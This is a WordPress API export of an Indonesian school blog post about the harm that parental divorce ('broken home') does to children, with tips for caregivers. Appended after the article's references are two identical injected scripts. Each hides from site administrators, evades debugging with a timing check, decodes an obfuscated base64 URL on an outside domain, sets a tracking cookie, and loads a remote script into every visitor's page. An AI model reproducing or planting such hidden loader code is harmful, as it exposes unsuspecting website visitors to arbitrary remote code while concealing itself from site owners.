{"id":711,"date":"2025-08-27T09:00:50","date_gmt":"2025-08-27T02:00:50","guid":{"rendered":"https:\/\/www.altaschool.id\/blog\/?p=711"},"modified":"2026-01-20T06:25:01","modified_gmt":"2026-01-19T23:25:01","slug":"broken-home","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/broken-home","title":{"rendered":"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png\" alt=\"broken home\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><span style=\"font-weight: 400;\">&#8212;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam kehidupan rumah tangga, terdapat berbagai macam kondisi yang bisa mempengaruhi keberlangsungan hidup berkeluarga. Ada yang membuat keluarganya menjadi harmonis dan hubungan antara satu sama lain semakin erat, ada yang membuatnya semakin renggang.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Salah satu dampak dari hal yang membuat keluarga menjadi renggang adalah terjadinya keluarga <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">. <\/span><em><strong>Broken home <\/strong><\/em><span style=\"font-weight: 400;\"><strong>adalah<\/strong> sebuah situasi yang <strong>terjadinya perceraian atau perpisahan antara kedua orang tu<\/strong>a.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Meskipun <\/span><em><span style=\"font-weight: 400;\">broken home <\/span><\/em><span style=\"font-weight: 400;\">terjadi pada orang tua, tapi terdapat efek samping yang diterima oleh anggota keluarga lainnya, terutama anak-anak. Kira-kira, apa dampak buruk yang dialami oleh anak yang memiliki keluarga <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">?<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Dampak Buruk Broken Home<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Studi menyebutkan terdapat beberapa hal yang berdampak pada anak ketika orang tuanya mengalami <\/span><i><span style=\"font-weight: 400;\">broken home<\/span><\/i><span style=\"font-weight: 400;\">, yaitu sebagai berikut:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Psikologis kesejahteraan dan kepribadian anak terancam<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Anak-anak memiliki ketakutan akan ditinggalkan oleh orang-orang sekitarnya.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Anak-anak kesulitan untuk mempercayai orang lain.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Terjalin komunikasi yang tidak efektif sehingga sulit untuk mempertahankan hubungan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Anak-anak memiliki kecenderungan untuk melukai diri sendiri.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Anak-anak memiliki risiko terdiagnosa oleh depresi, bipolar, kecemasan, gangguan kepribadian dan gangguan makanan.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hal tersebut bisa terjadi karena anak-anak melihat orang tua mereka tidak rukun dan sering bertengkar. Ketika orang tua sering bertengkar di hadapan anak-anak, maka mereka akan menerima dampak negatifnya.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/perilaku-toxic-parenting-yang-berbahaya-untuk-masa-depan-anak\">Perilaku Toxic Parenting, Penyebab &amp; Cara Menghindarinya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Tanda Anak Menerima Dampak Negatif dari Pertengkaran Orang Tua<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terdapat beberapa tanda anak menerima dampak negatif dari pertengkaran orang tuanya, yaitu sebagai berikut:<\/span><\/p>\n<ol style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengalami masalah kesehatan<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Sering merasa malu yang berlebihan<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Kurangnya kepercayaan diri<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Munculnya rasa takut yang tidak logis dan gangguan kecemasan<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengalami depresi<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Memiliki pemikiran untuk bunuh diri<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Memiliki gangguan terhadap perkembangan akademik<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Tidak mempercayai orang tua<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mereka berhenti menjadi anak<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Gejolak emosi yang tinggi<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Kemiskinan<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Kesulitan untuk tidur<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Perilaku antisosial<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengalami mimpi buruk<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hal-hal di atas dapat terjadi bila anak sering melihat kedua orangtuanya bertengkar, tidak merasakan kerukunan di dalam rumah, terlebih jika orang tuanya cerai.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Oleh karena itu penting untuk memelihara rasa kasih sayang di dalam rumah tangga agar setiap anggota keluarga dapat memiliki hubungan yang harmonis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Cara Membantu Anak yang Terkena Dampak Broken Home<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Namun bagaimana jika anak sudah berada dalam kondisi keluarga yang <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">? Apakah sudah terlambat?<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Tentu saja tidak. Meskipun orang tua sudah tidak rukun, menelantarkan anak tentu bukan sebuah jawaban. Karena hubungan anak akan tetap ada meskipun kedua orang tuanya berpisah.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Oleh karena itu sebagai orang tua yang sudah pisah atau pengasuh anak sudah sepatutnya melakukan sesuatu kepada anak agar tidak terjebak dalam dampak negatif dari keluarga <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terdapat beberapa hal yang dapat dilakukan oleh orang tua atau pengasuh untuk membantu anak yang sedang berada di dalam kondisi keluarga <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">, yaitu sebagai berikut:<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">1. Menjadi suportif<\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sebagai orang tua atau pengasuh, Anda sebaiknya menunjukkan kepada anak bahwa Anda memberikan dukungan dan tidak menghakimi jika anak Anda dengan salah satu orang tua memiliki hubungan yang tidak baik.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Hal ini wajar terjadi karena pengalaman anak melihat bagaimana ayahnya berperilaku kepada ibunya atau sebaliknya. Maka dari itu, anak yang memiliki hubungan yang tidak baik dengan salah satu orang tua dapat dipahami.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong>2. Ajari anak untuk menyayangi diri sendiri<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Tidak jarang dalam kondisi keluarga yang <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">, anak bisa jadi menyalahkan diri sendiri atas ketidak rukunan kedua orang tuanya. Oleh sebab itu, pastikan anak untuk tidak merasa demikian.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain itu penting untuk mengajari anak bagaimana caranya menyayangi diri sendiri. Bahwa kehadirannya di dunia ini bukanlah sebuah kesalahan dan penyebab rumah tangga runtuh.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong>3. Jangan libatkan anak dalam konflik<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pada dasarnya anak lahir tanpa memahami apa-apa. Jangan jadikan anak Anda sebagai alat untuk menyelesaikan perselisihan yang sedang terjadi. Buatlah konflik tersebut selesai di tangan Anda dan pasangan Anda.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga:\u00a0<a href=\"https:\/\/www.altaschool.id\/blog\/tips-mengembangkan-sosial-emosional-anak\">Tahap Perkembangan Sosial Emosional Anak dan Tips Mengajarkannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong>4. Bantu anak menemukan tempat yang aman<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Anak Anda akan membutuhkan tempat yang aman untuk berekspresi dan berefleksi tanpa adanya ketakutan dan adanya kemungkinan untuk dihakimi. Misalnya bisa berupa waktu eksklusif bersama Anda.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Biarkan anak mengeluarkan seluruh emosi yang dirasakannya, seperti menangis, marah, sedih dan mengungkapkan emosi lainnya. Jika diperlukan, buatlah sebuah pertemuan antara anak Anda dengan ahli kesehatan mental seperi psikolog.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dengan demikian psikolog bisa membantu anak Anda untuk menangani dampak dari <\/span><em><span style=\"font-weight: 400;\">broken home<\/span><\/em><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-size: 14pt;\"><strong>5. Perhatikan perilaku anak<\/strong><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Salah satu efek buruk dari perasaan bersalah yang dirasakan anak adalah perilaku melukai diri sendiri. Lebih buruknya, anak juga bisa memiliki pemikiran untuk bunuh diri.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Oleh sebab itu penting untuk meyakini kepada anak bahwa apa yang terjadi antara Anda dan pasangan Anda tidak ada kaitannya dengan anak Anda.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Berikan afirmasi positif dan kasih sayang kepadanya terus menerus agar anak terhindar dari perilaku melukai diri atau pemikiran untuk bunuh diri.<\/span><\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bagaimana? Sudah paham mengenai <\/span><em><span style=\"font-weight: 400;\">broken home <\/span><\/em><span style=\"font-weight: 400;\">dan dampaknya? Selalu perhatikan anak Anda apakah mengalami dampak-dampak tersebut.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Anda tidak perlu ragu untuk meminta bantuan professional jika perlu. Selain itu penting untuk memberi dukungan terhadap pendidikan anak Anda di <\/span><strong><a href=\"https:\/\/www.altaschool.id\/?referralCookiesId=e7b51b56-2d2f-4453-ae73-27f35db22520&amp;referralCookiesId=e7b51b56-2d2f-4453-ae73-27f35db22520&amp;referralCookiesId=e7b51b56-2d2f-4453-ae73-27f35db22520&amp;referralCookiesId=e7b51b56-2d2f-4453-ae73-27f35db22520&amp;referralCookiesId=e7b51b56-2d2f-4453-ae73-27f35db22520\" target=\"_blank\" rel=\"noopener\">Alta Global School.<\/a><\/strong>\u00a0Sebagai sekolah blended learning pertama di Indonesia dari PAUD hingga SMA, Alta Global School berkomitmen mempersiapkan 100% siswa kami meraih beasiswa dan diterima di universitas ternama di dalam dan luar negeri.<\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Referensi:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.babygaga.com\/15-negative-ways-kids-from-broken-homes-get-affected\/#lack-of-self-confidence<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/dictionary.apa.org\/broken-home\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">https:\/\/www.healthshots.com\/mind\/mental-health\/ways-to-help-children-from-a-broken-family-to-avoid-psychological-problems\/<\/span><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini! &#8212; Dalam kehidupan rumah tangga, terdapat berbagai macam kondisi yang bisa mempengaruhi keberlangsungan hidup berkeluarga. Ada yang membuat keluarganya menjadi harmonis dan hubungan antara satu sama lain semakin erat, ada yang membuatnya [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":711,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1756268125:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png"],"_wp_old_date":["2023-07-10","2024-08-28"],"_linker_next_update":["1769357859"],"_yoast_wpseo_metadesc":["Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!"]},"categories":[1],"tags":[],"class_list":["post-711","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak<\/title>\n<meta name=\"description\" content=\"Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/broken-home\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak\" \/>\n<meta property=\"og:description\" content=\"Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/broken-home\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-27T02:00:50+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:25:01+00:00\" \/>\n<meta name=\"author\" content=\"Muhammad Azka Rais\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Muhammad Azka Rais\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home\",\"name\":\"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png\",\"datePublished\":\"2025-08-27T02:00:50+00:00\",\"dateModified\":\"2026-01-19T23:25:01+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/0501d87c990caa6ab33a84fe0c79e9bd\"},\"description\":\"Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/broken-home\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/broken-home#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/0501d87c990caa6ab33a84fe0c79e9bd\",\"name\":\"Muhammad Azka Rais\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"caption\":\"Muhammad Azka Rais\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/muhammad-azka-rais\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak","description":"Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/broken-home","og_locale":"en_US","og_type":"article","og_title":"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak","og_description":"Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/broken-home","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-08-27T02:00:50+00:00","article_modified_time":"2026-01-19T23:25:01+00:00","author":"Muhammad Azka Rais","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Muhammad Azka Rais","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/broken-home","url":"https:\/\/www.altaglobalschool.com\/blog\/broken-home","name":"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/broken-home#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/broken-home#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png","datePublished":"2025-08-27T02:00:50+00:00","dateModified":"2026-01-19T23:25:01+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/0501d87c990caa6ab33a84fe0c79e9bd"},"description":"Broken home adalah salah satu kondisi yang bisa terjadi pada keluarga siapa saja. Bagaimana dampaknya bagi anak? Simak penjelasannya di artikel berikut ini!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/broken-home#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/broken-home"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/broken-home#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f53cfb35-cf10-45d5-9770-edbb9a876bc0.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/broken-home#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Apa Itu Broken Home? Ini Dampak Buruknya bagi Anak"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/0501d87c990caa6ab33a84fe0c79e9bd","name":"Muhammad Azka Rais","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","caption":"Muhammad Azka 